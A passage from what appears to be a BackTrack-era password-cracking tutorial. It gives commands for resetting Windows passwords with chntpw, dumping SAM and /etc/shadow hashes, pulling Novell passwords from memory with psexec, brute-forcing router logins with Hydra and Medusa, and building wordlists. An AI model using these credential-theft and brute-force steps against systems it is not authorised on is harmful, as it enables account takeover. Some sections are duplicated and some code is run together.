burn the iso to a CD, boot from the CD, andstart cracking using the included SSTIC04-10K rainbow table. This will crack the LM hashes. To crack NTLM hashes you have to purchase 1 of the NTLM hash tables. See section 3.2.2.3.2 for details.
4. Changing Windows Passwords
4.1 Changing Local Windows Passwords
Warning: If the user account you are going to change the password on has encrypted files you will lose accessto the encrypted files until you remember the old password. This only applies to local user accounts and not domain accounts. In a properly setup forest/domain, the administrator can recover encrypted files for domain users.
4.1.1 Using BackTrack tools
4.1.1.1 chntpw
chntpw is a part of BackTrack and can reset a forgotten local user account password. If you don't have BackTrack you can download a CD or floppy disk image from http://pogostick.net/~pnh/ntpasswd/
Unzip thefile, and either burn the iso the to a CD or use rawrite2 to transfer the image to a floppy.
Follow the directions at http://pogostick.net/~pnh/ntpasswd/walkthrough.html on how to use the software.
The current versionsupports Vista.
Code:
# mount -t ntfs-3g /dev/XXX /mnt/XXX
Code:
# cd /pentest/password/chntpw
Code:
# chntpw
chntpw: change password of a user in a NT/2k/XP/2k3/Vista SAM file, or invoke registry editor.
chntpw [OPTIONS] <samfile> [systemfile] [securityfile] [otherreghive] [...]
-h This message
-u <user> Username to change, Administrator is default
-l list all users in SAM file
-i Interactive. List users (as -l) then ask for username to change
-e Registry editor. Now with full write support!
-d Enter buffer debugger instead (hex editor)
-t Trace. Show heump of structs/segments. (deprecated debug function)
-v Be a little more verbose (for debuging)
-L Write names of changed files to /tmp/changed
-N No allocation mode.
Only (old style) same length overwrites possible.
See readme file on how to get to the registry files, and what they are.
Source/binary freely distributable under GPL v2 license.
See README for details.
NOTE: This program is somewhat hackish! You are on your own!
Code:
# chntpw /mnt/sda1/WINDOWS/system32/config/sam /mnt/sda1/WINDOWS/system32/config/system/mnt/sda1/WINDOWS/system32/config/security -u test
Code:
chntpw version 0.99.5 070923 (decade), (c) Petter N Hagen Hive </mnt/sda1/WINDOWS/system32/config/sam> name (from header): <\SystemRoot\System32\Config\SAM> ROOT KEY at offset: 0x001020 * Subkey indexing type is: 666c <lf> Page at 0x7000 is not 'hbin', assuming file contains garbage at end File size 262144 [40000] bytes, containing 6 pages (+ 1 headerpage) Used for data: 240/19064 blocks/bytes, unused: 15/5320 blocks/bytes.
Code:
Hive </mnt/sda1/WINDOWS/system32/config/system> name (from header): <SYSTEM> ROOT KEY at offset: 0x001020 * Subkey indexing type is: 686c <lh> Page at 0x5c4000 is not 'hbin', assuming file contains garbage at end File size 6291456 [600000] bytes, containing 1366 pages (+ 1 headerpage) Used for data: 91697/4664232 blocks/bytes, unused: 3600/1333656 blocks/bytes.
Code:
Hive </mnt/sda1/WINDOWS/system32/config/security> name (from header): <emRoot\System32\Config\SECURITY> ROOT KEY at offset: 0x001020 * Subkey indexing type is: 666c <lf> Page at 0xc000 is not 'hbin', assuming file contains garbage at end File size 262144 [40000] bytes, containing 11 pages (+ 1 headerpage) Used for data: 879/40312 blocks/bytes, unused: 11/4392 blocks/bytes.
Code:
Failed logins before lockout is: 0 Minimum password length : 0 Password history count : 0
Code:
RID----------- Username ----------Admin? Lock? 01f4 Administrator ADMIN 03fc test 01f5 Guest dis/lock 03e8 HelpAssistant dis/lock 03ea SUPPORT_388945a0 dis/lock ---------------------> SYSKEY CHECK <----------------------- SYSTEM SecureBoot : 1 -> key-in-registry SAM Account\F : 1 -> key-in-registry SECURITY PolSecretEncryptionKey: 1 -> key-in-registry ***************** SYSKEY IS ENABLED! ************** This installation very likely has the syskey passwordhash-obfuscator installed It's currently in mode = 1, key-in-registry-mode SYSKEY is on! However, DO NOT DISABLE IT UNLESS YOU HAVE TO! This program can change passwords even if syskey is on, however if you have lost the key-floppy or passphrase you can turn it off, but please read the docs first!!!
NOTE: On WINDOWS 2000 it will not be possible to turn it on again! (and other problems may also show..)
NOTE: Disabling syskey will invalidate ALL passwords, requiring them to be reset. You should at least reset theadministrator password using this program, then the rest ought to bedone from NT.
Code:
Do you really wish to disable SYSKEY? (y/n) [n] n RID : 1020 [03fc] Username: test fullname: test comment : homedir :
Code:
User is member of 1 groups: 00000221 = Users (which has 3 members) Account bits: 0x0010 = [ ] Disabled | [ ] Homedir req. | [ ] Passwd not req. |[ ] Temp. duplicate | [X] Normal account | [ ] NMS account |[ ] Domain trust ac | [ ] Wks trust act. | [ ] Srv trust act |[ ] Pwd don't expir | [ ] Auto lockout | [ ] (unknown 0x08) | [ ] (unknown 0x10) | [ ] (unknown 0x20) | [ ] (unknown 0x40) |
Code:
Failed login count: 0, while max tries is: 0 Total login count: 0 - - - - User Edit Menu: 1 - Clear (blank) user password 2 - Edit (set new) user password (careful with this on XP or Vista) 3 - Promote user (make user an administrator) 4 - Unlock and enable user account [seems unlocked already] q - Quit editing user, back to user select Select: [q] > 2 New Password: TestTest Password changed!
Code:
Hives that have changed: # Name 0 </mnt/sda1/WINDOWS/system32/config/sam> Write hive files? (y/n) [n] : y 0 </mnt/sda1/WINDOWS/system32/config/sam> - OK
4.1.2 Using a Live CD
4.1.2.1 chntpw
chntpw comes in two versions: floppy and cd iso. The floppy version only contains drivers for the more popular hard drive controllers. Since the number of drivers is limited, the floppy version will not boot your PCif you have a controller that is not supported. Also floppy drives are becoming hard to find on PCs. I recommend you download the iso as it contains all possible drivers and CD/DVD drives are more common than floppy drives these days. You can download either version from http://pogostick.net/~pnh/ntpasswd/ and click on bootdisk. Just below the download links are instructions on what to do with the file you downloaded. The iso is approximately 3MB in size. This Live CD only contains the drivers necessary to find your harddrives and the chntpw command. This is a great tool when all you need to do a change a password. The current version supports Vista.
4.1.2.2 System Rescue CD
The System Rescue CD is a Linux bootable CD you can use to repair your PC and recover data after a crash. You can download the iso from http://www.sysresccd.org/
The iso is almost 250MB for version 1.1 for x86. The website has some really good documentation on how to use the cd. To change a local user password withthe System Rescue CD, you use the chntpw command.
4.2 Changing Active Directory Passwords
The pwdump7 utility only work on locally stored SAMs. It will not work on windows server 2000, 2003, or windows 2008 Active Directory.
pwdump6 from http://www.foofus.net/fizzgig/pwdump/ can dump windowsserver 2000 and 2003 Active Directory to a file that john the ripper can crack.
fgdump is a newer utility that can dump Active Directory and cached credentials. See section 3.1.2 on how to use fgdump
See http://www.jms1.net/nt-unlock.shtml for resetting a windows 2000 domain account.
See http://www.nobodix.org/seb/win2003_adminpass.html for resetting a windows 2003 domain account.
5. plain-text.info
The http://plain-text.infowebsite is where you can take a LM or MD5 hash and see if someone has alreadycracked it. The website is easy to use and has a very large list of hashes for you to search. The website alsohas support for NTLM hashes, but none of the hashes I had were cracked there.
6. Cracking Novell NetWare Passwords
If you have a windows client with the Novell NDS client installed you will notice that the client creates alocal account on the PC.
Usually the local password is the same as the NDS account password. By dumpingthe local SAM you can usually get a persons NDS password.
The above trick I know works as I have used this once. The other techniques listed here I cannot say if they work or not as I retired the last Novell NetWareserver a long time ago. I would recommand starting to read the documentation at http://www.nmrc.org/pub/faq/hackfaq/hackfaq-19.htmlto hackfaq-26.html for learning quite a bit about attacking Novell servers v2.x to 4.x.If you have access to the console and the floppy drive of the server you can try one of the console attacks from http://www.nmrc.org/pub/faq/hackfaq/hackfaq-21.html
If all you have access to is a client you can try some of the client attacks fromhttp://www.nmrc.org/pub/faq/hackfaq/hackfaq-22.html
If you don't have local administrator rights and your server is Novell you can use Pandora from http://www.nmrc.org/project/pandora/ to do online and offline attack against Novell 4.x and 5.x servers. and get local administrator rights to your XP box. The attack is very simple, you just have to pull your network cable at the right time.
From williamc's posting of at the old remote-exploit forums:
"I confirmed an interesting vulnerability with Novell. According to this advisory, the Novell password can bedumped out of memory: http://www.securityfocus.com/archive/1/402767
We confirmed this on a Novell 7 environment while performing a pentest.
Use both psexec and pmdump as follows:
psexec \\hostname -u username -p password -s -f -c pmdump -list
Find the PID of the Gwise.exe service.
Then:
psexec \\hostname -u -p password -s -f -c pmdump PID PID_dump.txt
This will dump the memory to \\hostname\c$\windows\system32
Open the dump file in a hex editor and search for an organizational string, like an OU in the targets memorydump file. From there you can find the Novell password for the user within the file.To simplify this, if you have already found one Novell password, dump the PID for gwise of that user andsearch for the password. From there, you can work backwards to find the OU format, and apply it to other targets.
For instance, at this particular location, the client's OU is similar to clientname.AA_FINANCE.AA_NW
If you do a search for AA_FINANCE.AA_NW in the memory dump you will see the password in plain text.Suppose the CFO is whomever.AA_FINANCE.AA_NW.
By dumping his memory, you can search for the OU and reference your original dump, match up the location and password."
We confirmed this on a Novell 7 environment while performing a pentest.
Use both psexec and pmdump as follows:
psexec \\hostname -u username -p password -s -f -c pmdump -list
Find the PID of the Gwise.exe service.
Then:
psexec \\hostname -u -p password -s -f -c pmdump PID PID_dump.txt
This will dump the memory to \\hostname\c$\windows\system32
Open the dump file in a hex editor and search for an organizational string, like an OU in the targets memorydump file. From there you can find the Novell password for the user within the file.To simplify this, if you have already found one Novell password, dump the PID for gwise of that user andsearch for the password. From there, you can work backwards to find the OU format, and apply it to other targets.
For instance, at this particular location, the client's OU is similar to clientname.AA_FINANCE.AA_NW
If you do a search for AA_FINANCE.AA_NW in the memory dump you will see the password in plain text.Suppose the CFO is whomever.AA_FINANCE.AA_NW.
By dumping his memory, you can search for the OU and reference your original dump, match up the location and password."
Unix passwords are located in the /etc/shadow file or the /etc/passwd file. Next unix passwords are "shadowed" and we must "unshadow" them before we can do anything. Without getting into too much detail shadowing the passwords removes the passwords, which are usually stored in world readable /etc/passwd, and moves them to /etc/shadow which can only be read and written to by root or programs run as suid root. Go to http://www.tldp.org/HOWTO/Shadow-Password-HOWTO-2.html
If you want details on how shadowingworks. Finally UNIX passwords are salted. The short version is a salt is randomly generated value that is used to encode the user's password, which is usually already encrypted; thus adding another layer of security. The long version can be found at: http://www.tldp.org/HOWTO/Shadow-Password-HOWTO-2.html
Boot BackTrack and login as root
Code:
# cd /usr/local/john
Code:
# unshadow /etc/passwd /etc/shadow >saltedpasswords
Code:
# john saltedpasswords
boot BackTrack and login as root
Code:
# mount /dev/hda1 /mnt/XXX
Code:
# cd /usr/local/john
Code:
# unshadow /mnt/XXX/etc/passwd /mnt/XXX/etc/shadow >saltedpasswords
Code:
# john saltedpasswords
Your first step should be to try the default username and password.
You can find a list over 3500 devices at : http://artofhacking.com/etc/passwd.htm
8.1 Using BackTrack Tools
8.1.1 Using Hydra
Say you have wireless router to which you have forgotten the password. The easiest thing to do in this case isto reset the router to factory defaults. However if you have a lot of custom settings and your backup isnonexistent, out-dated, corrupted, or the backup restored a password which you do not remember, you cantry a brute force attack on the router.
From http://freeworld.thc.org/thc-hydra/
Hydra currently supports:
TELNET, FTP, HTTP-GET, HTTP-HEAD, HTTPS-GET, HTTPS-HEAD, HTTP-PROXY, LDAP2, LADP3,SMB, SMBNT, MS-SQL, MYSQL, POSTGRES, REXEC, RSH, RLOGIN, CVS, SNMP, SMTP-AUTH,SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, ICQ, SAP/R3, SSH2, Teamspeak, Cisco auth, Cisco enable,Cisco AAA (incorporated in telnet module)
For the sake of this document I will use a Linksys WRT54GL, hardware v1.1, Linksys firmware 4.30.11 anddd-wrt v2.4sp1.
The first thing you have to do is find out if the device uses a username AND password tologin. Several devices only require a password to login into the device as admin, root, system, etc. The easiest way to find this out is to goto the vendor's website and download installation manual which will give you this information. For the Linksys firmware boot BackTrack and login as root and then type:
Code:
# hydra -l "" -P wordlist.txt -f -v -e ns 192.168.1.1 http-get /
-P is a wordlist of passwords to try
-f stop hydra when it finds the password
-v is for verbose
-e try no password and password the ip address of the device one of the currently supported options 192.168.1.1 is the IP of the APhttp-get is the correct option to this AP/ is where you have to put in the username and password. In this case you have to put in the username and password before you can do anything. You will have to figure this out for yourself as each device isdifferent.
Some other option you may need are:
-t TASKS run TASKS number of connects in parallel (default: 16)You may have to adjust this number down as larger numbers may cause the router to crash or misbehave.
I usually use -v / -V verbose mode / show login+pass combination for each attempt.
As I said earlier, http-get is the correct option for my Linksys AP (with the factory firmware). When you gotothe AP website a dialog box opens and prompts for a username and password. Each AP is different and as such you will have to change options as RaginRob found out. The following is a slightly modified versionfrom his tutorial. I recently started playing around with Hydra and tried to hack my router. After searching the forum and googling around a while I noticed that there are only some howto's for routers that have http-authauthentication. That is, when you go to 192.168.2.1 e.g. and before showing anything you have to enter login and password in a popup.
My router (T-Com Sinus 154 DSL Basic 3) and many others I've dealt with so far work differently. When I want to login to my router, I have to go to 192.168.2.1, a web interface with a password field shows up, and I have to enter the password which is then checked by /cgi-bin/login.exe viahttp-post. It was quite tricky to find out how to use this authentication with hydra, so I guess there are some of you that can benefit from this. I'll describe how I did it, so you can adapt the method and use it with your own router.
First of all I examined the login page of the web interface.
Be sure to look at the frame source and not theframeset. You should see the form and the action, here's what I saw:
The form is defined as:
Code PHP:
<form name="tF" method="post" action="/cgi-bin/login.exe" onSubmit="evaltF();">
Code PHP:
<input type="password" name="pws" class="stylepwd" size="12" maxlength="12">
Code:
hydra -l "" -P passwords.txt -t 1 -f -v -V 192.168.2.1 http-post-form /cgi-bin/login.exe:pws=^PASS^:loginpserr.htm
-P The wordlist to use for the password
-t 1 task only, not really necessary, I just wanted to make sure Hydra doesn't choke on too many requests
-f Hydra shall stop when a working password is found
-v be verbose.
and even more.
I skipped that in the final version but it's ok for debugging 192.168.1.1 is victim's iphttp-post-form the method to use/cgi-bin/login.exe
ws=^PASS^:loginpserr.htmThis is the most important part. Here we tell Hydra what to pass the passwords to. The argument consists of three parts separated by ":".The first part is the script that takes the POST data, we found that in the frame source above.The second part is the field name of the password field with an added =^PASS^. ^PASS^ is the variable thathydra substitutes with the passwords in the wordlist. The third part is the "incorrect" condition. Hydra has to find out somehow if the current password that wassend to the router is correct or not. You have to find a string that is actually IN A NEGATIVE RESPONSE from the router. As we don't have the password yet we can't know what the router will send if the password iscorrect, therefore we have to check if it is NOT, which we can find out easily. To find out what the router sends back to hydra I used Wireshark.
Open up wireshark, go to the router login page, start capturing and then login with a wrong password. After that, stop capturing and apply a "http" filter. You will see the POST data sent from hydra to the router (youshould also see the "pws=blabla" in the details, that's where hydra sends the passwords from the wordlist). Below that you'll find the router answer. In my case it says something like "This page has moved tologinpserr.htm" packed in some basic HTML. So I used the string loginpserr.htm to validate the .. uhm...faultyness!
Hydra will consider a password as CORRECT when the router answer DOES NOT contain the given string. So be sure to take an expression that somehow sounds like "incorrect" or "wrong". If you took "the" for example, and the POSITVE response would be something like "the password you entered was correct", hydra will not recognize it as correct but incorrect. If your router does not only need a password but also a username, you can easily add the according loginname to the last part. So if you need to send the field "login" or whatever it is called in your case with thevalue "admin" as the only username you could use /cgi-bin/login.exe:login=admin&pws=^PASS^:loginpserr.htm
When you need to try a whole username list then you can specify the list via
-L usernames.txt
and
/cgi-bin/login.exe:login=^USER^&pws=^PASS^:loginpserr.htm
For dd-wrt boot BackTrack and login as root and type:
Code:
# hydra -l admin -P wordlist.txt -f -e ns 192.168.1.1 http-get /login.asp
-P is a wordlist of passwords to try
-f stop hydra when it finds the password
-v is for verbose
-e try no password and password the ip address of the device one of the currently supported options 192.168.1.1 is the IP of the AP http-get is the correct option to this AP ; is where you have to put in the username and password. In this case you have to put in the usernameand password before you can do anything. You will have to figure this out for yourself as each device isdifferent.
Some other option you may need are:
-t TASKS run TASKS number of connects in parallel (default: 16). You may have to adjust this number down as larger numbers may cause the router to crash or misbehave. I usually use 10.
-v / -V verbose mode / show login+pass combination for each attempt.
8.1.2 Using Xhydra
Xhydra is Hydra with a GUI. This graphical interface is a good place for newbies to start practicing and thenmove to the command line. [email protected] has made a video that demonstrates how to use Xhydra to bruteforcethe password on a Wireless AP. You can watch the video at:
http://blip.tv/file/522320
I had to update my flash player so the video wasn't choppy. To update the flashplayer in BT4 do:
Code:
# apt-get remove flashplugin-nonfree
Code:
# wget http://fpdownload.macromedia.com/get/flashplayer/current/install_flash_player_10_linux.tar.gz && tar xzf install_flash_player_10_linux.tar.gz && mkdir ~/.mozilla/plugins && mv libflashplayer.so ~/.mozilla/plugins
8.1.3 Using Medusa
Medusa is like hydra in that it is a login bruteforcer. So what are there differences? You can see for yourself at http://www.foofus.net/jmk/medusa/medusa-compare.html
The short version medusa supports somethings while hydra doesn't and vice versa. For example:
If you need to crack ncpfs you need medusa.
If you need ICQ you need hydra.
There are more differences so please read the above webpage. The following command is used to attack my D-Link DI-808HV DSL router.
Code:
# medusa -h 172.19.0.1 -u "admin" -P wordlist.txt -M http
-u is the username you want to try. If there is no username use ""
-P is the wordlist you want to use
-M is the module you want to use
Here is the list of modules included with BackTrack 3 Final:
Code:
# ls /usr/local/lib/medusa/modules/
mssql.mod
pop3.mod
rsh.mod
snmp.mod
vmauthd.mod
ftp.mod
mysql.mod
postgres.mod
smbnt.mod
ssh.mod
vnc.mod
http.mod
nntp.mod
rexec.mod
smtp-auth.mod
svn.mod
web-form.mod
imap.mod
pcanywhere.mod
rlogin.mod
smtp-vrfy.mod
telnet.mod
wrapper.mod
Here is the list of modules included with BackTrack 4 Final:
Code:
# ls /usr/lib/medusa/modules/
mssql.mod
pop3.mod
smbnt.mod
ssh.mod
web-form.mod
ftp.mod
mysql.mod
rexec.mod
smtp-vrfy.mod
telnet.mod
wrapper.mod
http.mod
nntp.mod
rlogin.mod
smtp.mod
vmauthd.mod
imap.mod
pcanywhere.mod
rsh.mod
smtp.modvnc.mod
Be sure to leave .mod off of the command line. The documentation at http://www.foofus.net/~jmk/medusa/medusa.html is lacking.
8.1.4 Using John the Ripper to crack a Cisco hash
there are two passwords in Cisco equipment: enable and telnet. Within the enable command there are twoways to store the password
I. enable password (aka type 7)
II. enable secret (aka type 5)
Enable password is the original encryption algorithm used by Cisco. The algorithm was not released to thegeneral public, however the algorithm was figured out and at least two decryption programs are available on the internet. The source code to decrypt a type 7 password is available on the internet. Enable password is avery weak algorithm and should not be used.
Enable secret is the replacement for enable password. Enable secret takes the password and hashes it using the md5 hash. Hashes are one way algorithms. It is currently not possible to recover the password given the hash. You have to use a dictionary or brute force attack i.e. take every word in your dictionary, md5 hash it, and compare the dictionary hash to the cisco hash. Once you have logged on to the router or switch you have to display the running configuration to get the hash.
Type the following at the enable prompt:
Code:
# show running-config
Once you have the hash use a text editor and put the hash into the following format and save it a chash:enable:$1$sz0o$PYahL33gyTuHm9a8/UfmC1:::::
Now you can use john to crack it
Code:
# /usr/local/john/john /path/to/chash
8.2.1 Using Brutus
Brutus is a windows application that does things similar to Hydra. You can find it at http://www.hoobie.net/brutus/
9. Cracking Applications
9.1 Cracking Oracle 11g (sha1)
I cannot do any better than sending you to http://freeworld.thc.org/thc-orakelcrackert11g/
9.2 Cracking Oracle passwords over the wire
Again The Hacker's Choice at http://freeworld.thc.org/thc-orakel/ has great documentation on this.
9.3 Cracking Office passwords
If you need to remove a password from an excel spreadsheet (workbook or sheet) the best I found is ExcelPassword Remover 2009 which can be downloaded from http://www.straxx.com/excel/password.html
Instructions from the straxx website on how to use Excel Password Remover 2009.
To load this add-in in Excel: Open it the same way you do with Excel workbooks. Installing the add-in doesnot work for all users. Loading this add-in in Excel gives you two extra menu-items on the "Tools"-menu (or equivalent innon-English versions of Excel).
These are:
1.
Unprotect workbook
2.
Unprotect sheet
ElcomSoft has Advanced Office Password Breaker and Advanced Office Password Recovery.
You can readabout the differences between at http://blog.crackpassword.com/2009/0...sword-breaker/
The short version is breaker onlyworks on word and excel documents from 2003 and before. For anything else you need Advanced Office Password Recovery and it can take quite a while to recover the password. Go to http://www.gmayor.com/Remove_Password.htm for instructions on how to remove the password from Office documents.
9.4 Cracking RAR passwords
The only free software to crack rar passwords is from http://www.crark.net. Version 3.2a adds CUDA supportfor Nvidia video card to increase cracking speed by up 15x. The source code is at http://www.crark.net/Cuda-OpenSrc.rar and binaries are available. Next there is rarcrack. You can download the source code from http://sourceforge.net/projects/rarcrack/
You can read how to use rarcrack at:
http://www.mydigitallife.info/2009/0...ar-7z-and-zip- password-with-rarcrack-in-linux/
You can also use Advanced Archive Password Recovery from http://www.elcomsoft.com/archpr.html to recover the password. Advanced Archive Password Recovery is not free. The advantage to AdvancedArchive Password Recovery is that it supports a wide range of encryption and compression algorithms.Finally cracking the password takes time.
If you really need into that file you can just remove the passwordusing winrar_unlock from http://www.mydigitallife.info/2008/1...pport-sfx-exe/
9.5 Cracking zip passwords
You can use rarcrack to crack zip and 7z files. The source code is available from http://sourceforge.net/projects/rarcrack/
fcrackzip is another tool to crack zip passwords. You can download the source code and windows binary fromhttp://home.schmorp.de/marc/fcrackzip.html
Finally cracking the password takes time. If you really need into that file you should just try to remove the password.
9.6 Cracking pdf passwords
There are two types of pdf passwords user and owner. A user password is set when the author of the pdf wants the end user to enter a password to view the pdf. In other words the password has to be entered eachtime the pdf is opened. The owner password is set when the author wants to prevent the person viewing the pdf from changing the permissions of the restricted features. If both passwords are set either password canopen the document. However only the owner password can change permissions.You can use PDFCrack to crack password protected pdf files. The source code is available from http://pdfcrack.sourceforge.net/
PDF Crack is made for Linux however it should work for any POSIX compatible system.
rubypdf created a windows binary of PDFCrack using Cygwin. You can read about it at http://sourceforge.net/projects/pdfc.../topic/2224035
If your computer has a multi-core processor you might want to apply the following patch to PDFCrack : http://sourceforge.net/projects/pdfc.../topic/3364643
This patch adds support for multi-core processors and speedsup the cracking process and yes there is a windows binary available.
GuaPDF available from http://www.guapdf.com/ can also crack password protected PDF files. GuaPDF can remove the restrictions of any password protected pdf. This includes support for Adobe 9 with 256 bit AES and 128 bit RC4 encryption. The removal process is instantanous. Note that only standard PDF security issupported. Cracking of third-party plugins and/or e-books is not supported. GuaPDF is supported on Linux, Windows, Solaris, DOS, and Mac OS. It supports multi-core processors and NVIDIA GPU cards. GuaPDFwill remove restrictions from small pdf files for free. For larger files or a version that supports distributedcracking the program you must pay for the program. Elcomsoft also makes a PDF password recovery program. It can be found at http://www.elcomsoft.com/apdfpr.html
Advanced PDF Password Recovery can remove both the user and owner passwords as well asremove any restrictions.You can also try to open the PDF and print it to another pdf creater to remove the restrictions.Finally cracking the password takes time. If you really need into that file you should just try to remove the password.
10. Wordlists aka Dictionary attack
Strictly speaking a wordlist is a file that contains words or phrases from everyday life. The premade files below are wordlists. The other instructions in this section are not really wordlists as the resulting file every possible combination (depending on the options you give the program) of characters. I have not come across aword to describe these files so I am naming a file that contains every possible combination of characters acombination list. Not very original but it does clearly differentiate between the two types of lists. The resulting combination list can be used in place of a wordlist. Please note that when you generate acombination list the file will be huge. Using the 95 English characters to generate every possible combinationof 10 characters the resulting file size will be 95^10 =
59.873.693.923.837.900 bytes
59.873.693.923.837.900 KB
59.873.693.923.838 MB
59.873.693.924 GB
59.873.694 TB
59.874 PB
~ 60 EB
For 14 characters the file size would be 4,877 YB!
10.1 Using John the Ripper to generate a wordlist
For Windows use:
Code:
C:\john\john-386.exe --stdout --incremental >wordlist.txt
Code:
#/usr/local/john/john --stdout --incremental >wordlist.txt
Please note that the maximum length john supports by default is 8. If you need to generate a 9 character or longer wordlist you will have to download the source and change a line or two of code. Or you can use a different tool.
You can also have john direct its output to other programs. For example to have john feed random passwordsto air-crack use:
Code:
john --incremental=All --stdout | aircrack-ng -b 00:11:22:33:44:55 -w --test.cap
If you have a wordlist (wordlist.txt) you want to try against NTLM hashes use the following command:
Code:
john -f:NT -w:wordlist.txt hash.txt
So it would look like this:
[Options]
# Wordlist file name, to be used in batch mode
Wordlist = $JOHN/wordlist.txt
# Use idle cycles only
Idle = N
# Crash recovery file saving delay in seconds
Save = 600
# Beep when a password is found (who needs this anyway?)
Beep = N
10.3 Using crunch to generate a wordlist
in
Code:
/pentest/password/crunch
Code:
# cd /pentest/password
Code:
# crunch 1 8 abcdefghijklmnopqrstuvwxyz0123456789
Code:
# crunch 1 8 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
For example if you know that the last 2characters of a 8 character password are 99 you can do:
Code:
# crunch 8 8 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 [email protected]@@@@@99
The optional fifth parameter allows you to specify a starting string. This is useful if you have to stop in the middle a generation. Just do:
Code:
# tail output.txt
For example:
Code:
# crunch 8 8 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
aaaaaeDp
aaaaaeDq
aaaaaeDr
aaaaaeDs
aaaaaeDt
aaaaaeDu
aaaaaeDv
aaaaaeDw
aaaaaeDx
aaaaaeDy
Press Ctrl-C
Code:
# crunch 8 8 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 -s
aaaaaeDA
aaaaaeDB
aaaaaeDC
aaaaaeDD
Use > output.txt to redirect the output from the screen to a file named output.txt
10.4 Generate a wordlist from a textfile or website
Sometimes users use words from their employeer's website. Their password could be the companies name or the name of the flagship product. I will show you how to download the website and convert it into a wordlist.These instructions are basically a text version of [email protected]'s flash video from http://blip.tv/rss/flash/533887. I had to update my flash player so the video wasn't choppy. To update the flashplayer in BT4 do:
Code:
# apt-get remove flashplugin-nonfree# wget http://fpdownload.macromedia.com/get/flashplayer/current/install_flash_player_10_linux.tar.gz &&tar xzf install_flash_player_10_linux.tar.gz && mkdir ~/.mozilla/plugins && mv libflashplayer.so ~/.mozilla/plugins
Code:
# mkdir /target
Code:
# cd /target
Code:
# wget -r http://targetwebsite.comwget -r
Code:
# cd /pentest/password/wyl
Code:
# perl wyd.pl -n -o - possiblepasswords.txt -/target
Code:
# cd /root
Code:
# cat possiblepasswords.txt
10.5 Using premade wordlists
Xploitz and [email protected] have released their wordlists. The first two are torrents; the rest can be downloaded from the URL.
[email protected]'s wordlist : http://www.h33t.com/details.php?id=1...2a34983e6652f5
Xploitz's first wordlist : http://thepiratebay.org/tor/4017231
Xploitz's second wordlist part 1 : http://www.mediafire.com/?am2exxlnwma
Xploitz's second wordlist part 2 - http://www.mediafire.com/?4mzmdsbhhcn
Xploitz's second wordlist part 3 : http://www.mediafire.com/?4v9znjscgwt
Xploitz's second wordlist part 4 : http://www.mediafire.com/?dmj6yy3gw3x
Xploitz's second wordlist part 5 : http://www.mediafire.com/?5tyidngmztx
Xploitz's second wordlist part 6 : http://www.mediafire.com/?3utzg3jk1mb
Xploitz's second wordlist part 7 : http://www.mediafire.com/?dmwdvdrgsgb
[email protected] has released another wordlist.
It is 64 million words 8-63 characters and it was made from his other wordlist : http://www.megaupload.com/?d=7RN6ZB2E
10.6 Other wordlist generators
You could try the wg perl script from http://freshmeat.net/projects/wg/
Code:
# perl ./wg.pl -l 8 -u 64 -v abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\`\~\!\@\#\$\%\^\&\*\(\)\-\_\+\=\[\]\;\'\,\.\/\< \>\?\:\"\{\}\|\ > words.txt
Here is the python source code:
Code:
f=open('wordlist', 'w')def xselections(items, n):if n==0: yield []else:for i in xrange(len(items)):for ss in xselections(items, n-1):yield [items[i]]+ss# Numbers = 48 - 57# Capital = 65 - 90# Lower = 97 - 122numb = range(48,58)cap = range(65,91)low = range(97,123)choice = 0while int(choice) not in range(1,8):choice = raw_input('''1) Numbers2) Capital Letters3) Lowercase Letters4) Numbers + Capital Letters5) Numbers + Lowercase Letters6) Numbers + Capital Letters + Lowercase Letters7) Capital Letters + Lowercase Letters: ''')choice = int(choice) poss = []if choice == 1:poss += numbelif choice == 2:poss += capelif choice == 3:poss += lowelif choice == 4:poss += numbposs += capelif choice == 5:poss += numbposs += lowelif choice == 6:poss += numbposs += capposs += lowelif choice == 7:poss += capposs += lowbigList = []for i in poss:bigList.append(str(chr(i)))MIN = raw_input("What is the min size of the word? ")MIN = int(MIN)MAX = raw_input("What is the max size of the word? ")MAX = int(MAX)for i in range(MIN,MAX+1):for s in xselections(bigList,i): f.write(''.join(s) + '\n')
10.7 Manipulating your wordlist
So you now have a wordlist. What should you do with it? You need to manipulate it into something you canuse. You can of course just use the wordlist without manipulating it, but you may be sacrificing performanceand space. The first thing you should do is to combine, sort, and uniq all of the wordlists you have.The following is fromhttp://freeworld.thc.org/thc-hydra/README uniq your dictionary files! this can save you a lot of time !
Code:
# cat words.txt | sort | uniq > dictionary.txt
Code:
# cat dictionary.txt | pw-inspector -m 6 -c 2 -n > passlist.txt
Code:
# cat dictionary.txt | pw-inspector -m 8 -M 63 > WPAwordlist.txt
Code:
# wc -l wordlist.txt
Code:
# head -n 30 wordlist.txt
Code:
# tail -n 30 wordlist.txt
Code:
# sed '1,25d' wordlist.txt
Code:
# sed -n -e :a -e ‘1,23!{P;N;D;};N;ba’
You can get a permutator from:
http://www.backtrack-linux.org/forum...k-4-final.html
You can also take your wordlist and run it through john the ripper and increase its size by about 49 times.
Use:
Code:
john --wordlist=Wordlist.txt --rules --stdout >largelist.txt
NOTE: When generating your own wordlists keep in mind that some programs (aircrack-ng) have a 2GB filesize limit. There is also the issue of RAM. If you can keep the entire wordlist in RAM, the cracking will proceed that much faster. So keep your wordlists to a maximum of 2GB. If you have a 3GB wordlist and youwant to break it into 1GB chucks do:
Code:
# split -bytes=1024 m /tmp/dictionary_file_3GB /tmp/smaller_dictionary_file
It is also popular to leetify passwords. For example password becomes [email protected], pa$$word, passw0rd, [email protected]$$w0rd, etc. Here is a perl script written by Gitsnik and a modified version of Gitsnik's script and modified by robot
Code:
#!/usr/bin/env perl
